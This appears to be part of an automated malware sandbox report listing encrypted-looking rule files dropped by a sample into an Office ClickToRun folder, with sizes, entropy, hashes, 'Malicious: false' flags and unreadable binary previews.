Preview:	.<?..9.7.J.a.W.e%....MIo.d.5..SIQ....O'.........E.9...jR...'v.{..O#.f.:....C.SA.9@.Ji..\|..-....wc.....u.6......o...y3....&......pV`R.....Y.q>.F........2b^..6.Ad.eh.z.dr..I........k-...f.I&.......e;.'H...j:.#z3.. 1`.S...........6f..v........[.&.......r......".Y.@.6e\f{.M.!....E...I8.6\|...f..{L.....:....2.....p..4..ftz....4....Q..nV.NW.....................7Ab..sc.oB.n.e..f.Xy.G......GJ.p.4...].do.S.3y.?x.v.g&.r...7....#Q1"....W@. V.0d!.c...{.&..:.........HW:%../..XM...-:..P".sgX..?....@q...p.q..av.T.%."......]...C....<._.x.&.Q.._)1.W..?....(..=Fz.Y....E1X..n.7..r..Cf....2..b.T.pCMPj.o_K.8y.5.....,...D......(n...J."...v..GF..(.U...J.W0V...&..D..=.r...u..9...u....o...Z.X..'.....w..]....H...7!.......f[ x/wo.U..dz....i`...a*.(.T.SI....'.qC.xl......o..b.f.W.j.#.W.D9.8..{.......j7.g=@..F..dL..u\.z.F..p%.. ..M.w..`OS/`w.\|e.,b.p..V(..$..c..z...-@..5.sp05...^...L...l.jek.......I...K.e.6+....0\|o..#4&8..M..t>..@u=.\]..0x&..U...J.%6.>T..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.89355984447143
Encrypted:	false
SSDEEP:	24:wMu7zcP3/vf0fwoWaAXonna8eLN01FPY8O8txANFeJkLN7/9cZtxLeaVVDAi4wz9:Hufunf0fw1Ma8ONCJxAKS7FcZDeZeFD
MD5:	99A856FAF064A103D03F105175BE9C06
SHA1:	70FBA1B3A20F01F8D4D66D9C00451FC8E7C51127
SHA-256:	1729ABA7717B42D3C6EBDCC43A3C69BE8B24D37007BD54C22EB69517D3E43E3B
SHA-512:	0621A26D7BD023702A49371969C920AC9EC2EA70C5EE947C1DB81FF4552BACEE08920C55391ABF6B9987B47CA5DB8C1E21D69D957B0AE2A90769C88FEE2AF6DA
Malicious:	false
Preview:	.<?.....=!.t...G.;...'....S]0#.u8..u..M.^N.2..^...W.Nd..k...v.....Nv...z..I....o....P.l...'.jH.Xy.[8PE...5h.D.;.'..!mm.V....H...... ...c..P..H.\|E...v...(a..PI...Z.U..;....>DJ+.J(_.Jf..W..>&...t>.g..Z..m..........Or.]D..M....5-....og.8Z.K.KTu.n.x..'8..F..].a...B....9......c.........0....K..G.Z.1=....aC .....)..\..D..d....kf...(....'.".).<.'.a.[./k...Q...A...8..C..{...j4pD.;.V...:.$!...3FF..T`..%..}Hd.@qv%.....-"V.Z.d.....c.@...,ES!t[@.... 7.....GV.....`o.4...W.i(......."l.Ek....j..&....s}).#.e .....@(C.E.h..=.=@.[PN}Q..Q...b.v..K....J.@.s/......I.`..w...^..h..A,.aGw.....+....._ByG...~...._.!k.5:~.E.....A.<......n....I...'5.)..m%..<.5.....5).0-&}...X...q.:.1....".......`.b].`=."...Z..L..1@X.n...i...4l8.........8...o.w...8".Ou..VS...!.^.$T. .pd&,.6>..gp....G7..g.....".,^U.R..e!....7..5.[.<.z...W.2.]A..tb.V. ..T.B&"...}....$.....I..._8....._b....R.2..J_.\|.(........./..O.X....%....{.(.....N...b..9.+3...c....p{...M....s.sh.k-..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.874744673265356
Encrypted:	false
SSDEEP:	24:rdRS8Yg9xSSledhG5aUz0HrBgxVbC8dOR1/ElZpiMNIE0Wb7OST3EgBsux70xGQL:+8CSlhzBVdPllNZqSTjau905WNbiFD
MD5:	34CCB52C63F7EFECA0E47DD1B2B0F7DF
SHA1:	4C374AEF61B30A6D8EE56680F2E7B6CA2228FD58
SHA-256:	D1E3C901398F697639E067C7CFBCFFD5CDF064BC7083DBA51845A418915A680B
SHA-512:	A486614B0B7F51D0CD388AB6BA0E017F76AE59F1BDE4C81D87EB9CD02FE2D1729BCDCA74E61488C40DC2F42EF0BB848F2B94BA7C13745E55A38922E1B567CD9A
Malicious:	false
Preview:	.<?.@.R.V.@..U.........Z.!5..W..z.~..V...Z....&.....B..X./.=i.%.=....4..fsT.wk~....(pU.;......>.....&..`./j..F&9..Y.... .S.[u.EBv...3i..%V.Zz.I..?W...........gy.Z.?.....mq.&p.~.d..N..N$I.u. ..\|.h.s.U..8..n%.u.CS....9.ew...j.Np!^\o^3,;s.se.$-....R \..lk..T..2$.^M......C...........H...#.K......`..f......).y..w..e\^k.[.....<R......U.B...9...d_..u...E n...U9M.q?^{.[W.7=N.)nu7....`..&...gn]..a.c.S....d..P.....+..W.c2V...Ull6!.c2A).]...8.z4!.r...R....P6.zP)..O+.c.....Q......../....a\d.....,;[..C.....J.m#4,}..K..`gD.....w.....E....R.3....v< ...r....0......../.}l]..Ha)(z..Y\|.........O.E...\|.%g.C.._\.......R.@/.$..<..X.c.H...M.............f..t. .63.\|.D.C....9.W.4Q...N.v.g...&.\..c.#E..3~\|.Y.".....r.3!..Vu.2...p../(.>].n.o.$.H..J......tz.....d.6.....(....-.."8.M.+_.i.J...E..a6R.K!.(d. .^..oN...Gh_....eH#..q..=...4.P........i%..2. .....,..^..T.%..$...H....{..+"mrt...*..cx....C.N>$.R......k.g2..Ln....5&.7..wv.B:...B....Z&.?k..4.S.6~.8.1r....A.I.....:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.873349152787319
Encrypted:	false
SSDEEP:	48:8/twhTCaqfHjlPcvLvICjfRFTNP8b4wODi0taWacFD:44+akPcDfy0woGWz9
MD5:	5AAB78F901164ADBEFC8C331BB7BB054
SHA1:	7301C967C100B31CC27FD42D743F10C120ADBF6B
SHA-256:	78F913EF37DF095E5A585092BB419CEBC4CF6B790F24C310B67E499E69E89277
SHA-512:	EC0BF1AB72C52E94A6D94DDCDADBA2E7F110599D326F352DE33C3556588FE65676665D02F08B5B29A00D8CD2BAA020967975170AAC2FC26CD442E6F56273AA5C
Malicious:	false
Preview:	.<?..X.E.0. .A.`.C.u.....z$9.G.......&O..Ap.....w..C4..@...!....g.."%({oJ.xa.!Rm.\..}....w.M..in.v.....,K.&"...l..AiSBbi.K-b.pO.....V,.....-J..&+V..4xW.;.2......h.B...-...P....6..f.IB)$4.R.e..S..~C..=._E.+=..7..V.\|.8.....OB[.....j.....Um.M.....h.k.......p6..{..f...6}c.w...=3&F..D.J.K......@D\..E..L...;..3j.....lH+)...A...A4qC...^<B.H.9.._......>.b..,...5w.g..'q...p.!<..-....:2.4pi...Z2..k.E/.....Qf>.......)B..E.6...k7./..F../...?...S..,K&A..E.ld.Y...3..d...3...i...)..... =......O...vTNur.X....Px*.....)..]..yV....!.i.o...u.-.,..,...rd.V.E-...,I..^QpL...q,......#.4....{....[...(...........8.Y.....T.J.w.T.M_,)... ..."F.V.6.r.(...i..P...x15>..iC.....]_...o.{..7}.S....pK.G..vtbF.......a....52....-.........2.6...+....._.?......,..]..0....Tb.."0_lGt.....1..H..GU1h1..u..a_.lwj..#-..AT...dx.<...T....r.......;RA.4N{.....w...E.....'.j.{:.HTLm.e..&v.....F..WF7....&.?$.~...u.~......C.9..{.....B......V%...o.)8.hN..4.K.zX;. .}.c.)..yQ....<u...b.\.1.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.878547819993063
Encrypted:	false
SSDEEP:	48:4BNN+qQk2/kVNo4Zb7HxhKfL6aGwdTAN4FD:4BeJk2/UC4JHKWaDdT249
MD5:	854E49F6846AE3C2260A62B9612EB2D2
SHA1:	1E3845432A3A83DC9C5B255D1931CAC8629B2422
SHA-256:	A6A7C03205DBE251244A599A120D9B5F9516038430F675DCB2DBD1C2C56BECBA
SHA-512:	DB1A6A1564873607DF2BD54B167EB7A2E3CC9E10CD293AEB3E1021C9BA208B52EF9E4FC2A31105F6CDEE859493CBE4A5E82D4A19820C3932DD14A0B98BC17766
Malicious:	false
Preview:	.<?R.....#..2FX.\[?.......s.1-.NfY#.....7...z..,.(....z.}......7.5}.k..~D.1.N...R.....k.......c.T...<.\|...u.TJ=;...h.i....ms4.%0h..z.%..).%%I.;.e.!.(..Q}..I.....w.X.J..M4.t..Q.Vgif./...p?....E3v.-<....W>....&7..l...w..hn...[.H..MQ.1.+.....m\|..J.MC.2..\|...::.A.K....!g.vc.+.f..}5...^...+l.&..?K6.GU..Y........W.}Y..{.E..$2....].6. e:.S.-..M.).)/?i...[....x.w..#.%u...;..?^....B...Gi.. q.d...:P...x...d.`.a...bh.........9......P....`......`..../...i0.M.KV....l...]+R&...1=..q>...._...^.[....W..........1u.G.....w.....<(.....n....1O..L.f.......,.%..WtB.D....F..\|.Q..p.%.....9...59/.~N.......9..).\!....X.t.p...(.UU....a:).....~..<g.....0..M/.\.7.....M..?.J..k......+q.Om..Js.._R...8.5..i.l..#..............J*S.A...V..q.`sg..x.n-.......Z-.........;Z...:..G..U.3ai.j.B.Re...2.....[.i.8f_.,.v.Lm...r.A..GwU[awn....^X...t.7.F.hFPK.EZP.l.[....69.^{..,3.n..a.3@...y.C.}....{.....\#./..g.j.<.K'.G.....a.....:H.N6..m..a......G.P.b.TI...H....H5.E...sc....{O$.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.876999479190799
Encrypted:	false
SSDEEP:	48:8QaZ1gcEeuDEJW7/19dM+lT5XRBXF6sGJ+LbKFD:8QTc3uDEUMC/F6s2UO9
MD5:	BEA3C269B5D7CBA1489DACFA457C6F14
SHA1:	ED6BF277F8402E8A3A3C44ECE706C22B0DBB2A64
SHA-256:	4CC073D6B370CFE4C5E2ACA1C9AA164768643170677E80C0A6E0B8BD3A19FD17
SHA-512:	37B62867DB42DCB700B6D6A53C2BECB84DAB384EF379A66D701CC8EE87027E4E6600ADBCF74D9C6AAAB87FD06038D75647E547A00B228869769143DE8E53CC98
Malicious:	false
Preview:	.<?l'.-..A....]..K.G'.....f%=...d.u.P.>...w.;XG....f..u...."..Z.Z..../..6.%-n...."^......BD.i.K.L_+\.f.j....... ..w66U..Y.k....!V..h?u..Ca.T..._...-Q<...o..............++s.....@..E..Q.xM..O#z....#.K.f.....Fi$C...:}...a..'.....t....@.N..T..ZY.HB>.....K..S........G.z.v...'...0....X.....o...L...0.....i[..<..m[.D......~...3.I.m...........$.....H...+.....,....3...\|..6......$..3.l.Q.m.So/./...-.:.6./.F>6k.9Fr.G.W..9...vnB.M.9p..].W'lfh...Vv...;h....oj..A.R.(x.ce...{o.d.-..i......N.....0..p...--..v..hg..PWE.h*.m....9.+..3S.Vw%.d..^.E.).!...@JP.gK...R.+.$C.Z...D...P./.....l.22....)).}.....VUd. ..3J.KW/...^d.....z...n.Q..3.(D( s=.0.............a..p....,...[\=}t@.yW.&..T....3.ia...M?..p......&T.Q.izF...8...[.?.W.g;..U3.}4.....'U....q.......L..D N..F..E3.U..,...Y...3....Q..:.m.k.....@..U..~kj..3.d.....6J..(..k.q.....6...R..;..N.k...%.+..VHZ.9}...X..a.}DR.(`.B.-..O;.....=.w../..qN&0e.....?k..A.......,.l.......3..e.W.k..?.'....bX..U\|..;...C..u...t.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1771
Entropy (8bit):	7.880252793335201
Encrypted:	false
SSDEEP:	48:2c91MedhGPr7Nhm09VXwbh1Covr1IFvbH+BFpnbHwrfDRFD:wTy0fXwbvC8iBIbeft9
MD5:	E65EA575746B09690BE456253C6DB16E
SHA1:	AAEF1CC8D30B55E617969EB78395B64E910DB802
SHA-256:	A13358DF5D1E09F53E91BC336DD63CA729DDE8A0E571A3E06F424CD2866B8F27
SHA-512:	C312D5E5248E3D4DEFC5C550560EFF28963BBBC25B3E1BA2B3343F019B5482034B1CD3CDCD4D954D383829A31502D6D58D7E074425CF7B8EB8B2577CD8007578
Malicious:	false
Preview:	.<?.n...`..j.M........_b...(....=...:.. ...`...[W.V...XJ.\..-<.].5.L.`.]cu.R.4VN......zp.X..x.#...<..O$R.....n..Q..u...k%g..h..%.F....JS....f.....<.9XV.Z..Kc..9\|B..1.....3`...b.....:.Me./.5x.....`....K#.....>.S...,....1...t.i..s`....#^_...F...&...S....]..^.Ua.Tz.&.Ma.\|............/...b&..rW-.d..'S.\...R.V.....&......Qp!..}V.F..g...=.b....E?6....F.5..!....6.....7..<...v.E.}S......;u4.f...s{.!.}.2m.i.......+uI..5.t..c.@..,9..[..}...........,..:...,..8.@........Ji(..D..].u\..~..r>....<.L?.RE..Y]6{....)..4....%.;j."m.G....x...p.....3].....##OZ.......U.zcW.<..g..\....(.Hg.aD....{..3(..m....^R..agH..j.H..Z..4.#dn..Rb.......j...Q....UeD..q....c.....[..F....?.....,Ks.T8..(.V...k3..{.ik...B_\..\|.O...x.W.F...9;..5.E.....l.e....T@E...........5.Co..ZN.<...a..#.S.x...O..K..,=/.%.2.j..%.l..... 5...7(...k..Nsd....M.72/*...Gmyz..g...%..S[.."#(%(...K...npE....V......E.T..&U.u.4.....c<7..jh...m..2r../...{..R.v)/.-.L<.<..?..J..k...qU.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.887001711647508
Encrypted:	false
SSDEEP:	48:bgG3bqzqUP+zYwlFNR1Vpi6Or3ypOM0zeFD:p+zVyXNR1VpZU3y50ze9
MD5:	DE975C3547A7E870B79CA27AD441AFB2
SHA1:	343F6A55D9F95DAA0FD6AE1011BC54686417BDA9
SHA-256:	00D93CB79CD9185345C5885CDCFA04C7737A5C5EE1159923E2C657396CF20A77
SHA-512:	A82726A05326CEB9FDDA15856ED060A44C0C61553CFA065E5E84DFEFC4A93B26B85488DA0CFE9532DDB107BC0242EC33D67F65666E0973FE1656509C2E96664B
Malicious:	false
Preview:	.<?c.O9e.?....G..:..<.../...$.D..".Y &..r..#..X........TvM#b...q.`......B1..Z...4.&.&.;t.7.<..Z.H..m..].....X:... j0........C........c..~..........:......tz...U'y..A"5.3..E}..6..h..`..T...p.S.\.S..R.............$t..H.f........t.1..3...x....Md%EB............ .0....D.2....R.....r. ..9.U...4h1.....I`fl.l.....Dz......3.....X\6.$...I.n.7.3=.J....!.W.5.Q..F..(.T...Kil.b."....E.....).&D........g.W.=.6..:..s.b...4.M:..'..V.GAB.@...v...e.3..... F.'......= Cj.S.\..O`.....O..r3...z..."......ZH..x.....2js.=..h....!.W....Q...xT..Z..I.\:..LD.*"j1..s.....C....~+xc.z....\.4@_.u&.gB......x._........H....w$eG...I..S\..J. q.D..q{`.....X..]..q....k#OIb..H.q ..B.....Z^.}.e.i.9..r...Eh..4=.}T.P........\|.....5...S.]!...'..,x.xz%..x4..=.UrG.\|\.......6.V ....%..r...-.sN..r.....2tF.2....2....\..Y..O.....=..d.b..:.......v.]..".....]..YX.!x.y=.,..} ...<...IH.....s8..1...q.R;h>.{oPv.C.l:....^TI.<.N..............8..8._..w.M..F[&....-...q..q....HY..4e\...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.88849706189651
Encrypted:	false
SSDEEP:	48:uTZt56+iPd/QfaYvQ2dLqCg5NnmEScpDythvaz7/vPKxsy8NFD:StMPd/waP2dLqCE3hvPiq9
MD5:	712F8F4D2AB1B6799CFE02A6068BB28D
SHA1:	B05E2ABB4FDD2D41149FBE317D6B53F81A290541
SHA-256:	400164268D9DDDA506399E5554B639FC89A4117D98F0ED1A3A8702B7A8DF445D
SHA-512:	5D1EA5B2B05827D84306AC8D015FED4743503DEC7982CEA257CE5FD737C86F3044917A881315C39C97BECE0834329CFB10243894CC8A7CC0D668C4FE2BD28A2C
Malicious:	false
Preview:	.<?T........U..y..D.y...l..[~`........7\|..G.yC"OT..... c>$0t.5.-....O.W.BZ.T..........~.'..\.A..c..r.....2....Z.7.....}<x=......z.(.>....?".....-.9vn..=.......;...~......m.k<(..S.....LK#.>..i3.y..9...Y.<...........n+..._.L..p3I'>...C2....7..[...k[....>:+.,.9..h2'.=\|...i..,7m...R....(.0....K.Z).Li..H.D....$.....$.ri....C....[.....G...T..+'w....?.u^.Rs!..)........5..I.B#'.!\|.d..Z..'..,...bX......qC.."..z..{..Ce=.S]0..Zu...4..b.-..}..j.J...h.0._._hf$S3F.T.YU.....w..?V.:u.;;...bW.A.&;.....&. o....]_..&07Ow.c..p1Z.........V..1oI......^AV.\|.b)"...oc3...s..ZF"...W...N.So.I......oSw........{.t.'..L.T..;..X.....Uq..........s._..H.H(...F..gH.I....WJ....C.Y.XU./p.W.C9.a.\.`....].\m..YNA..cP)..p1......h...S......[y.`.\|.0..7.A'z......+i...NN.>...{#..e...o..M7A1....GQ...0..]cX.Q2,..v......OM=.z..>M..M.#.Yp...o.Y..}..`..~..3..y....XT?N...6O;*.....e...H...C......@..c..0B.[..#.......JJ..S.?H..x.G....a)(...U.....iw.R..<....;..U.A....m./..SK.....Zy.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.874630141391931
Encrypted:	false
SSDEEP:	48:TwwLMAzsWGT7SrRt1WBKe7LqgsSd/ZFBDTz0MHbVDJVeaXFmFD:0BAZlrRtY4e7+Zm/ZvjbVFd49
MD5:	A2EC42F1DE3F24034AE4A0A2B8C652E3
SHA1:	00A2B282219EDCAA3A3E2A45C707B8FD255677C3
SHA-256:	02C6C84A1E9D0967A30D2A0C2544521D6B2537803EAAD9D5746B5AA319664F23
SHA-512:	F0954E1DE77993374C338AFB3091FAB5DE891FEBDAC721B3820C2A5E68AF9E747AF6AE429D127CCC4C7C35ABA9C603C219F91475C0A5A93D3D815E0807AA6163
Malicious:	false
Preview:	.<?A....xs..O\._.8.y.6Q..wA"r..<0H........i]u...7 ...?..1.g.b.....1qv. .....P;.5. ..i`...:wj...ZqR.4..n r.AO.G.....a.R,........"!..9.'b.{.1.x....0.M...-z..Nx.Mx....b.y...2.R......M......4........=.v..w.......M7.`.a..p1I..}x..,$?.........]dL].c.z......Q.;(. o@g.wI\...E....F...:.e...>.rcr@..-.g...4...}B..'....>.......\3>....g~.4...W..{...x..>2#.\|..0...R./.\|...]..=2....$D.....60l.z....o6.{.I.h....-G.........G.D%.Lm..#..W\|!.p....d..;a7..Y.G.0/...N..Q.r.2...7.g........g../$<9..g?..c..q.H'.....2.....4.. 4.G.N.w..)G...e.&.l.&C.$.?...4G..R'.&...Y]<... .$ Xz....z.....F.....!u..Pt].Nw...t.[...7zk...Z.H=.<.........C~D'....y.'...=..I@.}.b.!N.h^.......n.,......2.jd.......~.P..t......h.8..kp.......P.bg.v.k...._.Bc......g..Wo.-T...\..X.y.t\..Lu.S.'Z...xk.?............\.....lL.@.W...o.....{..q..",..q........\~t.....:...Vh.....a...\....ee\.O.[j`Q.+.!(.....0b8P...!..v..t{...h.r..G..y.....u.x!.U..}\x.rw.!g..p.......8.:...\H....x....%..ls........M.<..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1776
Entropy (8bit):	7.902426207931835
Encrypted:	false
SSDEEP:	48:LpE0ySrsEh5qhscjCUOpoJzB0S9Ak1MX+rTFD:LRTrn2scjCUuof+k1MXKT9
MD5:	6733A6C0066C457B00AAE020C3B637D2
SHA1:	F45A3FB48634846AD94EF250A2807363479D757D
SHA-256:	27B914BCD93EF018683DC2A6BAF6DC3316D9B2E7FADEEDB27C03464149E08473
SHA-512:	9BACDD41FDA089AA644696F7603D9EC116117A6681F5E0490BB45D848DEEF0D89D5475F530E4B1FE95567BAA607235524BF3848E246AF184C4B4A71BB59050C2
Malicious:	false
Preview:	.<?.%/.............x..J.v..~....}..S...9..Y..qH...2..!Jz.o.tZ.{...b.. .mU.#@ .G....w..K.....op....~.soP..J.pd.1.,.F...?=.0..a6.P1:.....X......aAap.....UQ....x.......2@....u.t:...Pr....<..)V.4.Q,...8..W..j^w$.gw.qe.?...\|.dVB......@.....t....A....d.DI...L[%..{3...tJR.....1F..Y.+.b....K+.5N.k......}.3XpOp...i..>.k...%..Z......m@.G6.0...dS.....o.:H.P{...u).......@R...,.R..V ..[6...K.b........e...k....<...I.(q.@=B.p......`....~W.sI9BQe..N1..5D+K).b.(...~..=^q.......;.[@.......9N.'..U.nB.eZ ......a...ko..V'H..T.LF...$......e......L.PMG..s.P...~.@...TwI..6+.....c.....-/.f.> %..B7.".6..=x.../....9...: .=.b.4.)..pj}./.".).[........D.Kg.o/..0.L.!.).f.O..h).&T..tu......u<r.~D.~.....zg...9h!.B.........s.kJ...b.....{.^._z.....6........p.^...0....R.ifv.v..0...{.P.c...U&....!.Du..[v]....e....jv.{r..e...65..k.3@.....0)...e[..L_.Do....o....[>..@..... s...j.R+l.)..d.j....kB.iu.Y.-..DB...%...=..q.+$.x.h.....L.K...N.-.,w/.L[Z.0.,.g.X...pV.D..R.]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.893345714028847
Encrypted:	false
SSDEEP:	48:TvdwyUtKH1fgRFtgb791VJF7yKsNYkDXAtTZFz/FD:TvdwyUUIRng/VyKS/TAhZd9
MD5:	62A466AE4BFC442A68EB46F920117714
SHA1:	C6B8E6022B4D8E4B2E0488A20A95AC57EDBB3EC3
SHA-256:	56E79FF7FADA4C447DE5D82E8D89E2F82FD88B486B95C8C4E4D58FA0754EF52E
SHA-512:	6962F76D187D313CEFCB0F87DFD7EAF5FCEF3714A91F52195E12891D8192CC21DC0C186D871DCA48D062734AB2F9145F002DD7341B2D792DD040AB7A69C0B05B
Malicious:	false
Preview:	.<?..&...= ....Xq......-........xb..[.ZQ}....N..ids...%?G.$.(r..V#aqf..X..E[.b...1....)..uQE..m.R.o.k...7,^B....lg.-....j./&..9.^.`....-.c.....J.&......\).KZ...{P..;....O5#.w.V...`h\....q3...p7...cw...F..{.S.%@0.......w....,.=...-V.%e\...C...M+.(.Ce.C...5BM....{H.3i.!E.a..k&...h.5...1....V>...%.+..7....P.x...2..)dk.?...%...b...F.K..CSi.I..U&....8..IS..n.......j.....B...5...B.....dL0\".,.....DD.[AxN.0\|.......0..........-J.y.SQ./..........e7M-..t0..,G..u..8..B..Y^wB..o./....x..`.....G~...\|.{....@:7...ugF.~...3........`t.r.V..1d...t..@..q....^..R.48.9..4.W......... .X..R.U......).;7.bD[....[".....`7^.-P}.4..Z......0....=....A..S....&...F.Mi...M#60....2 ..g.w.......<.-..wH.=...s!...D.-.b3h..2...}.C..f.'wt......K....G7@..4\|..v....W.S.5.md.....$...'...OY......$.v.o..w]...9.....i{...^..;&W....$IW.HwF..h......i."z.Y\-M..B.....y..cz8C...I.H&.;l.)vY.q.DV..~L?=.......^.p..'C.......I...M.....}....h."...!a.z.Ho=......>fBW/..q..H..y)rh>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.894180916890889
Encrypted:	false
SSDEEP:	48:I8utHiqhJEUrW4VUmNTsHGRyXlKZWSfiFD:I8u4qhLVUmimRyX+WSfi9
MD5:	AFFF4C24EF102ACE1F52AA0F6E983A74
SHA1:	16364531EF786D2CB39F9AA1B1FCD5A55265676A
SHA-256:	4679AED8213F40C29D8AE95BEA90E419553589A5381C82B9CBEA5784477EADD2
SHA-512:	1932288BD1D15F18B9FFDBB814BF51FD3F33983E7B74E5637DE0943CE9F2B5FE915975906F7EAF4D7D04CBB2696181065A49B1588E2A3E18516484C16B054859
Malicious:	false
Preview:	.<?.HI;&.O......y.P......%Ej7..N.D......{..k..u>....6.[5../...=8.aANh..._J9.7"tB.).w%Ksy.f...@ra.........%....{R...{...]..\|0...w...E'.;).;\.{G......3.&....9.r..\|S...o1.p..s.).v./.T3..x...cn.n..G.PJ...C..V.P.+.@.bL.m.,........J.H...4.."O........m"...6.mfk.[.....y.U.T.T..'.tb.1.&y\.7.P..r.y,..n.....p.$8py.=W.E...TES....OL.u{m.()<u.).hWG.a..Ib.9..R/..vpI..U8.g.._...:.eJ\...>.r.s.....u..j.7R....)...5.&Y..MH..:........@A+L...P2....A.:.s.W...4...`..:....1..NS+ZI../,.....L...i.O.2..............wZ.(.....E~...n.D.......ox..%&..S~....{.C...nst...h" ...3v.5...NP.;..........A.5.....Q\..........+.W...8.......x,.I..,....._..H2f.EX3.k/z_...<.....n......;.....9e......z.5'.g,../b.....JB.....u*.X{7...g......J`./3.....C...c;..\|#...;.\..&..1.(.Az..(.Uk<..Z.N.L...)6.t\|...-K..4-..y.=...@..8.....0.q....B.`M>...\....a..<..f..!.."..2.W.BpDB.{..j.p.....5SO.?<......"X.....2.DACG.g......:UF..o.<.$.L."....v.5...R...iu....bE..[O=.7.{.........-.m..U.;...+;K...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.8774682051314135
Encrypted:	false
SSDEEP:	48:SVSzfDpYbYiYPj7W94nd93ZK4WqtkMpIVFD:4g7pYbYiYPj7W9afKlqtkMpE9
MD5:	73A85ECB0476B4C58F8FD49C6C2DCD4E
SHA1:	04A597A1582BF4D7FF66E6B89A9B48D0D5398856
SHA-256:	D8A9880CD3918C47248662D35A7D9220CD24168408739C194CB2A89EC897E5FD
SHA-512:	D8AF3BCEC390FFE5908013E137DDF4F309C411E2F7F42E8DF3793781342D42C605A979EB4BD27391D267046AFEF3F6D1DBD9CEF537638A53BCA4F24F140D6FD4
Malicious:	false
Preview:	.<?.y.F..Qn...o._...._Or_......Rr'..-...X...m6<.i.cp..MW.....1-`....<.....U.......xg..E6s...~.e.'0..<.5P....&0a.E?...0...).O2.&X.L...p.....?. q.c.[..e.T.(.k.l.8.X..m.H.}...,......I..A.2.y.c..O....N7\|0\|.#U^+...G5H.J...rJ.....>.......x.JZ.2[g..D..M..^/.5K.f.....-.p.........Dj..Y.....@.N........j....O..9...C..,m}...gCB..d.M.@V.{z.Z.t-'.0.Kk.S..w.K.:o]3;.rxi....w...`h&..!...}=....d..?.....%Z..kU..S...j.8.......-.p#....&@\|.G...C.e.k...........L.....TPp^..g..i...D.y.gR.?+....j;'.\..a.).....O...._..@...B.. .V.BgcP.....^....V.b..#......D..0.y..aJ.H...].pbbO....9V...R#R.Yxg5..8.k.a.=..Q."\....sG.r;s.q.nm}......3.\......s'8...6....B.......\|.......Yv..G7.... iK>......8..........^..o./..c..d..6....R."..]9...d...*..S...\H.3fNL#yY..N.s2.dW d.=QA.WAY.B.S.3.k.F.>...s..y...]...;Z...5.......m.q..-....]L...../a.......I;.(L'..t..V..\|...~....g-1.~..M.z....C+.R...>.[....P#6o.!..6C%...}....RKe.J.H.2<.#q...D1..<'IK.o^.L)..r.un%..j..._2#.rrk.y.7"......v.!h.}&..75..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.868997889884295
Encrypted:	false
SSDEEP:	48:snmfx3lqQZB/ehVM88VuXZs3TpDIjhlrFD:PxVFmhGcps3FDM9
MD5:	C6595A17E857FB041F678D9BDAA2B728
SHA1:	CFF08C0F6F1E8020F05A2E49756737C9D9815A48
SHA-256:	73A52329947AE67F79EA0636AE0DF3353DA48F22E1416009AE1FB6B712CB3D44
SHA-512:	5F5FD20482C090544BCA43FD61A8F6CAA029AE4C56C8BCA9B1ACC8D253B442C5EFC558E51E734741B6259DFF71D58FC57AB0DC2304F861FB8BC4AAF3A5185A35
Malicious:	false
